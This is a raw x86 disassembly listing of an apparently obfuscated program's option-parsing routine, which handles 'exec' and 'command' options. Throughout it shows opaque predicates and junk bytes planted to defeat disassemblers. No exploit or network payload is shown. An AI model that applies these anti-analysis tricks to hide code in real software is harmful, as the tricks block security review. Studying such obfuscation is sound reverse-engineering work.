mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul eax, ebx
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
sub edx, eax
mov dword [esp + 0x120], edx
mov dword [esp + 0x124], 0
fild qword [esp + 0x120]
fstp qword [esp + 0x768]
xor eax, eax
je 0x427494
add byte [edi], cl
mov dh, 5
inc esi
test dword [ebx], eax
movzx eax, byte [0x438546]
cbw
mov word [esp + 0x120], ax
fild word [esp + 0x120]
movzx eax, byte [0x438542]
cbw
mov word [esp + 0x120], ax
fild word [esp + 0x120]
fadd st(0)
fsubp st(1)
fmul qword [esp + 0x768]
fstp qword [esp + 0x2a0]
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
add eax, eax
add eax, edx
add eax, eax
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
cmp edx, eax
je 0x42757d
movzx eax, byte [0x438542]
movsx ebx, al
call dbg.__6
movsx eax, al
add eax, ebx
mov ebx, eax
call dbg.__3
movsx edx, al
movzx eax, byte [0x444078]
movsx eax, al
imul edx, eax
mov eax, edx
add eax, eax
add eax, edx
add eax, eax
add ebx, eax
call dbg.__9
movsx eax, al
cmp ebx, eax
je 0x42757d
mov dword [esp + 0x4c], 6
jmp 0x427682
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
shl eax, 3
add eax, edx
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
cmp edx, eax
je 0x427681
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
shl eax, 2
add eax, edx
add eax, eax
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
sub edx, eax
mov dword [esp + 0x120], edx
mov dword [esp + 0x124], 0
fild qword [esp + 0x120]
fld qword [esp + 0x2a0]
fmulp st(1)
fnstcw word [esp + 0x12e]
movzx eax, word [esp + 0x12e]
or ah, 0xc
mov word [esp + 0x12c], ax
fldcw word [esp + 0x12c]
fistp dword [esp + 0x4c]
fldcw word [esp + 0x12e]
jmp 0x427682
nop
mov edi, dword [esp + 0x4c]
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
shl eax, 3
sub eax, edx
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx esi, al
mov eax, ecx
mov edx, 0
div esi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
sub edx, eax
mov eax, edi
imul eax, edx
test eax, eax
je 0x42df41
fld qword [0x43cc08]
fstp qword [esp + 0x760]
xor eax, eax
je 0x4276fb
add byte [edi], cl
mov dh, 5
inc esi
test dword [ebx], eax
movzx eax, byte [0x438546]
cbw
mov word [esp + 0x120], ax
fild word [esp + 0x120]
movzx eax, byte [0x438542]
cbw
mov word [esp + 0x120], ax
fild word [esp + 0x120]
fadd st(0)
fsubp st(1)
fmul qword [esp + 0x760]
fstp qword [esp + 0x2a8]
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
add eax, eax
add eax, edx
add eax, eax
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
cmp edx, eax
je 0x4277db
movzx eax, byte [0x438542]
movsx ebx, al
call dbg.__6
movsx eax, al
add eax, ebx
mov ebx, eax
call dbg.__3
movsx edx, al
movzx eax, byte [0x444078]
movsx eax, al
imul edx, eax
mov eax, edx
add eax, eax
add eax, edx
add eax, eax
add ebx, eax
call dbg.__9
movsx eax, al
cmp ebx, eax
jne 0x427877
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
shl eax, 3
add eax, edx
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
cmp edx, eax
je 0x427876
movzx eax, byte [0x438548]
call dbg.__7
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
shl eax, 2
add eax, edx
add eax, eax
movzx eax, byte [0x438547]
movzx eax, byte [0x438540]
fld qword [esp + 0x2a8]
fstp st(0)
jmp 0x427877
nop
jmp 0x42df41
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
shl eax, 3
add eax, edx
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
cmp edx, eax
je 0x42df59
mov dword [esp + 4], str.exec
mov eax, dword [esp + 0x8e0]
mov dword [esp], eax
call sym._strcmp
test eax, eax
je 0x42790e
mov dword [esp + 4], 0x43ca16
mov eax, dword [esp + 0x8e0]
mov dword [esp], eax
call sym._strcmp
test eax, eax
jne 0x42791b
mov dword [esp + 0x120], 1
jmp 0x427926
mov dword [esp + 0x120], 0
fild dword [esp + 0x120]
fstp qword [esp + 0x758]
xor eax, eax
je 0x427939
add byte [edi], cl
mov dh, 5
inc esi
test dword [ebx], eax
movzx eax, byte [0x438546]
cbw
mov word [esp + 0x120], ax
fild word [esp + 0x120]
movzx eax, byte [0x438542]
cbw
mov word [esp + 0x120], ax
fild word [esp + 0x120]
fadd st(0)
fsubp st(1)
fmul qword [esp + 0x758]
fstp qword [esp + 0x2b0]
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
add eax, eax
add eax, edx
add eax, eax
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
cmp edx, eax
je 0x427a25
movzx eax, byte [0x438542]
movsx ebx, al
call dbg.__6
movsx eax, al
add eax, ebx
mov ebx, eax
call dbg.__3
movsx edx, al
movzx eax, byte [0x444078]
movsx eax, al
imul edx, eax
mov eax, edx
add eax, eax
add eax, edx
add eax, eax
add ebx, eax
call dbg.__9
movsx eax, al
cmp ebx, eax
je 0x427a25
mov dword [esp + 0xd0], 6
jmp 0x427b2d
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
shl eax, 3
add eax, edx
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
cmp edx, eax
je 0x427b2c
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
shl eax, 2
add eax, edx
add eax, eax
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
sub edx, eax
mov dword [esp + 0x120], edx
mov dword [esp + 0x124], 0
fild qword [esp + 0x120]
fld qword [esp + 0x2b0]
fmulp st(1)
fnstcw word [esp + 0x12e]
movzx eax, word [esp + 0x12e]
or ah, 0xc
mov word [esp + 0x12c], ax
fldcw word [esp + 0x12c]
fistp dword [esp + 0xd0]
fldcw word [esp + 0x12e]
jmp 0x427b2d
nop
mov edi, dword [esp + 0xd0]
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
shl eax, 2
add eax, edx
add eax, eax
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx esi, al
mov eax, ecx
mov edx, 0
div esi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
sub edx, eax
mov eax, edi
imul eax, edx
test eax, eax
je 0x427c0c
mov eax, dword [0x4440f4]
mov dword [esp], eax
call dbg.make_exec
mov ebx, eax
mov edx, dword [esp + 0x8f8]
lea eax, [edx + 1]
mov dword [esp + 0x8f8], eax
lea eax, [esp + 0x590]
mov dword [esp + 4], edx
mov dword [esp], eax
call dbg.ll_32
mov dword [esp + 0x14], ebx
mov eax, dword [esp + 0x590]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x594]
mov dword [esp + 8], eax
mov eax, dword [esp + 0x598]
mov dword [esp + 0xc], eax
mov eax, dword [esp + 0x59c]
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x8ec]
mov dword [esp], eax
call dbg.ll_add
jmp 0x42df41
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
add eax, eax
add eax, edx
add eax, eax
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
cmp edx, eax
je 0x42df59
movzx eax, byte [0x438542]
movsx ebx, al
call dbg.__6
movsx eax, al
add eax, ebx
mov ebx, eax
call dbg.__3
movsx edx, al
movzx eax, byte [0x444078]
movsx eax, al
imul edx, eax
mov eax, edx
shl eax, 2
add eax, edx
add ebx, eax
call dbg.__9
movsx eax, al
sub ebx, eax
mov edx, ebx
mov dword [esp + 0x120], edx
mov dword [esp + 0x124], 0
fild qword [esp + 0x120]
fstp qword [esp + 0x750]
xor eax, eax
je 0x427cce
add byte [edi], cl
mov dh, 5
inc esi
test dword [ebx], eax
movzx eax, byte [0x438546]
cbw
mov word [esp + 0x120], ax
fild word [esp + 0x120]
movzx eax, byte [0x438542]
cbw
mov word [esp + 0x120], ax
fild word [esp + 0x120]
fadd st(0)
fsubp st(1)
fmul qword [esp + 0x750]
fstp qword [esp + 0x2b8]
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
add eax, eax
add eax, edx
add eax, eax
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
cmp edx, eax
je 0x427dba
movzx eax, byte [0x438542]
movsx ebx, al
call dbg.__6
movsx eax, al
add eax, ebx
mov ebx, eax
call dbg.__3
movsx edx, al
movzx eax, byte [0x444078]
movsx eax, al
imul edx, eax
mov eax, edx
add eax, eax
add eax, edx
add eax, eax
add ebx, eax
call dbg.__9
movsx eax, al
cmp ebx, eax
je 0x427dba
mov dword [esp + 0xcc], 6
jmp 0x427ec2
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
shl eax, 3
add eax, edx
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
cmp edx, eax
je 0x427ec1
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
shl eax, 2
add eax, edx
add eax, eax
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
sub edx, eax
mov dword [esp + 0x120], edx
mov dword [esp + 0x124], 0
fild qword [esp + 0x120]
fld qword [esp + 0x2b8]
fmulp st(1)
fnstcw word [esp + 0x12e]
movzx eax, word [esp + 0x12e]
or ah, 0xc
mov word [esp + 0x12c], ax
fldcw word [esp + 0x12c]
fistp dword [esp + 0xcc]
fldcw word [esp + 0x12e]
jmp 0x427ec2
nop
mov edi, dword [esp + 0xcc]
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul eax, ebx
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx esi, al
mov eax, ecx
mov edx, 0
div esi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
sub edx, eax
mov eax, edi
imul eax, edx
test eax, eax
je 0x42856a
fld qword [0x43cbd0]
fstp qword [esp + 0x748]
xor eax, eax
je 0x427f35
add byte [edi], cl
mov dh, 5
inc esi
test dword [ebx], eax
movzx eax, byte [0x438546]
cbw
mov word [esp + 0x120], ax
fild word [esp + 0x120]
movzx eax, byte [0x438542]
cbw
mov word [esp + 0x120], ax
fild word [esp + 0x120]
fadd st(0)
fsubp st(1)
fmul qword [esp + 0x748]
fstp qword [esp + 0x2c0]
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
add eax, eax
add eax, edx
add eax, eax
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
cmp edx, eax
je 0x428015
movzx eax, byte [0x438542]
movsx ebx, al
call dbg.__6
movsx eax, al
add eax, ebx
mov ebx, eax
call dbg.__3
movsx edx, al
movzx eax, byte [0x444078]
movsx eax, al
imul edx, eax
mov eax, edx
add eax, eax
add eax, edx
add eax, eax
add ebx, eax
call dbg.__9
movsx eax, al
cmp ebx, eax
jne 0x4280b1
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
shl eax, 3
add eax, edx
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
cmp edx, eax
je 0x4280b0
movzx eax, byte [0x438548]
call dbg.__7
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
shl eax, 2
add eax, edx
add eax, eax
movzx eax, byte [0x438547]
movzx eax, byte [0x438540]
fld qword [esp + 0x2c0]
fstp st(0)
jmp 0x4280b1
nop
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul eax, ebx
shl eax, 2
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
cmp edx, eax
je 0x42df41
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
shl eax, 3
add eax, edx
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
sub edx, eax
mov dword [esp + 0x120], edx
mov dword [esp + 0x124], 0
fild qword [esp + 0x120]
fstp qword [esp + 0x740]
xor eax, eax
je 0x428182
add byte [edi], cl
mov dh, 5
inc esi
test dword [ebx], eax
movzx eax, byte [0x438546]
cbw
mov word [esp + 0x120], ax
fild word [esp + 0x120]
movzx eax, byte [0x438542]
cbw
mov word [esp + 0x120], ax
fild word [esp + 0x120]
fadd st(0)
fsubp st(1)
fmul qword [esp + 0x740]
fstp qword [esp + 0x2c8]
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
add eax, eax
add eax, edx
add eax, eax
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
cmp edx, eax
je 0x42826b
movzx eax, byte [0x438542]
movsx ebx, al
call dbg.__6
movsx eax, al
add eax, ebx
mov ebx, eax
call dbg.__3
movsx edx, al
movzx eax, byte [0x444078]
movsx eax, al
imul edx, eax
mov eax, edx
add eax, eax
add eax, edx
add eax, eax
add ebx, eax
call dbg.__9
movsx eax, al
cmp ebx, eax
je 0x42826b
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
shl eax, 3
add eax, edx
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
cmp edx, eax
je 0x42836f
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
shl eax, 3
sub eax, edx
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
cmp edx, eax
je 0x42df59
mov dword [esp + 4], str.command
mov eax, dword [esp + 0x8e0]
mov dword [esp], eax
call sym._strcmp
test eax, eax
jne 0x4285e5
fld1
jmp 0x4285e7
fldz
fstp qword [esp + 0x730]
xor eax, eax
je 0x4285f3
add byte [edi], cl
mov dh, 5
inc esi
test dword [ebx], eax
movzx eax, byte [0x438546]
cbw
mov word [esp + 0x120], ax
fild word [esp + 0x120]
movzx eax, byte [0x438542]
cbw
mov word [esp + 0x120], ax
fild word [esp + 0x120]
fadd st(0)
fsubp st(1)
fmul qword [esp + 0x730]
fstp qword [esp + 0x2d8]
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
add eax, eax
add eax, edx
add eax, eax
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
cmp edx, eax
je 0x4286df
movzx eax, byte [0x438542]
movsx ebx, al
call dbg.__6
movsx eax, al
add eax, ebx
mov ebx, eax
call dbg.__3
movsx edx, al
movzx eax, byte [0x444078]
movsx eax, al
imul edx, eax
mov eax, edx
add eax, eax
add eax, edx
add eax, eax
add ebx, eax
call dbg.__9
movsx eax, al
cmp ebx, eax
je 0x4286df
mov dword [esp + 0xc8], 6
jmp 0x4287e7
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
shl eax, 3
add eax, edx
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
cmp edx, eax
je 0x4287e6
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
shl eax, 2
add eax, edx
add eax, eax
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
sub edx, eax
mov dword [esp + 0x120], edx
mov dword [esp + 0x124], 0
fild qword [esp + 0x120]
fld qword [esp + 0x2d8]
fmulp st(1)
fnstcw word [esp + 0x12e]
movzx eax, word [esp + 0x12e]
or ah, 0xc
mov word [esp + 0x12c], ax
fldcw word [esp + 0x12c]
fistp dword [esp + 0xc8]
fldcw word [esp + 0x12e]
jmp 0x4287e7
nop
mov edi, dword [esp + 0xc8]
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul eax, ebx
add eax, eax
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx esi, al
mov eax, ecx
mov edx, 0
div esi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
sub edx, eax
mov eax, edi
imul eax, edx
test eax, eax
je 0x4288b5
call dbg.make_command
mov ebx, eax
mov edx, dword [esp + 0x8f8]
lea eax, [edx + 1]
mov dword [esp + 0x8f8], eax
lea eax, [esp + 0x5a0]
mov dword [esp + 4], edx
mov dword [esp], eax
call dbg.ll_32
mov dword [esp + 0x14], ebx
mov eax, dword [esp + 0x5a0]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x5a4]
mov dword [esp + 8], eax
mov eax, dword [esp + 0x5a8]
mov dword [esp + 0xc], eax
mov eax, dword [esp + 0x5ac]
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x8ec]
mov dword [esp], eax
call dbg.ll_add
jmp 0x42df41
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul eax, ebx
shl eax, 3
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
cmp edx, eax
je 0x42df59
jmp 0x42df59
mov eax, dword [ebp + 0xc]
mov eax, dword [eax]
mov dword [esp + 4], 0x43ca40
mov dword [esp], eax
call dbg.usage
nop
lea eax, [esp + 0x44c]
mov dword [esp + 0x10], eax
lea eax, [esp + 0x450]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x43ca56
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call dbg.getopt_long_only
mov dword [esp + 0x8e8], eax
cmp dword [esp + 0x8e8], 0xffffffff
je 0x42df9e
fld1
jmp 0x42dfa0
fldz
fstp qword [esp + 0x610]
xor eax, eax
je 0x42dfac
add byte [edi], cl
mov dh, 5
inc esi
test dword [ebx], eax
movzx eax, byte [0x438546]
cbw
mov word [esp + 0x120], ax
fild word [esp + 0x120]
movzx eax, byte [0x438542]
cbw
mov word [esp + 0x120], ax
fild word [esp + 0x120]
fadd st(0)
fsubp st(1)
fmul qword [esp + 0x610]
fstp qword [esp + 0x3f8]
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
mov edx, ebx
imul edx, eax
mov eax, edx
add eax, eax
add eax, edx
add eax, eax
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
cmp edx, eax
je 0x42e098
movzx eax, byte [0x438542]
movsx ebx, al
call dbg.__6
movsx eax, al
add eax, ebx
mov ebx, eax
call dbg.__3
movsx edx, al
movzx eax, byte [0x444078]
movsx eax, al
imul edx, eax
mov eax, edx
add eax, eax
add eax, edx
add eax, eax
add ebx, eax
call dbg.__9
movsx eax, al
cmp ebx, eax
je 0x42e098
mov dword [esp + 0x90], 6
jmp 0x42e1a0
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
shl eax, 3
add eax, edx
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
cmp edx, eax
je 0x42e19f
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
mov edx, ebx
imul edx, eax
mov eax, edx
shl eax, 2
add eax, edx
add eax, eax
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
sub edx, eax
mov dword [esp + 0x120], edx
mov dword [esp + 0x124], 0
fild qword [esp + 0x120]
fld qword [esp + 0x3f8]
fmulp st(1)
fnstcw word [esp + 0x12e]
movzx eax, word [esp + 0x12e]
or ah, 0xc
mov word [esp + 0x12c], ax
fldcw word [esp + 0x12c]
fistp dword [esp + 0x90]
fldcw word [esp + 0x12e]
jmp 0x42e1a0
nop
mov edi, dword [esp + 0x90]
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
shl eax, 2
add eax, edx
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx esi, al
mov eax, ecx
mov edx, 0
div esi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
sub edx, eax
mov eax, edi
imul eax, edx
test eax, eax
jne 0x420377
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
mov edx, ebx
imul edx, eax
mov eax, edx
shl eax, 2
add eax, edx
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
cmp edx, eax
je 0x42e812
mov dword [esp], 0x43ca57
call sym._getenv
test eax, eax
je 0x42e27a
fld1
jmp 0x42e27c
fldz
fstp qword [esp + 0x608]
xor eax, eax
je 0x42e288
add byte [edi], cl
mov dh, 5
inc esi
test dword [ebx], eax
movzx eax, byte [0x438546]
cbw
mov word [esp + 0x120], ax
fild word [esp + 0x120]
movzx eax, byte [0x438542]
cbw
mov word [esp + 0x120], ax
fild word [esp + 0x120]
fadd st(0)
fsubp st(1)
fmul qword [esp + 0x608]
fstp qword [esp + 0x400]
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
imul ebx, eax
mov edx, ebx
mov eax, edx
add eax, eax
add eax, edx
add eax, eax
lea ecx, [esi + eax]
movzx eax, byte [0x438547]
movsx edi, al
mov eax, ecx
mov edx, 0
div edi
mov edx, eax
movzx eax, byte [0x438540]
movsx eax, al
cmp edx, eax
je 0x42e374
movzx eax, byte [0x438542]
movsx ebx, al
call dbg.__6
movsx eax, al
add eax, ebx
mov ebx, eax
call dbg.__3
movsx edx, al
movzx eax, byte [0x444078]
movsx eax, al
imul edx, eax
mov eax, edx
add eax, eax
add eax, edx
add eax, eax
add ebx, eax
call dbg.__9
movsx eax, al
cmp ebx, eax
je 0x42e374
mov dword [esp + 0x8c], 6
jmp 0x42e47c
movzx eax, byte [0x438548]
movsx ebx, al
call dbg.__7
movsx eax, al
add eax, ebx
mov esi, eax
call dbg.__2
movsx ebx, al
call dbg.__0
movsx eax, al
mov edx, ebx
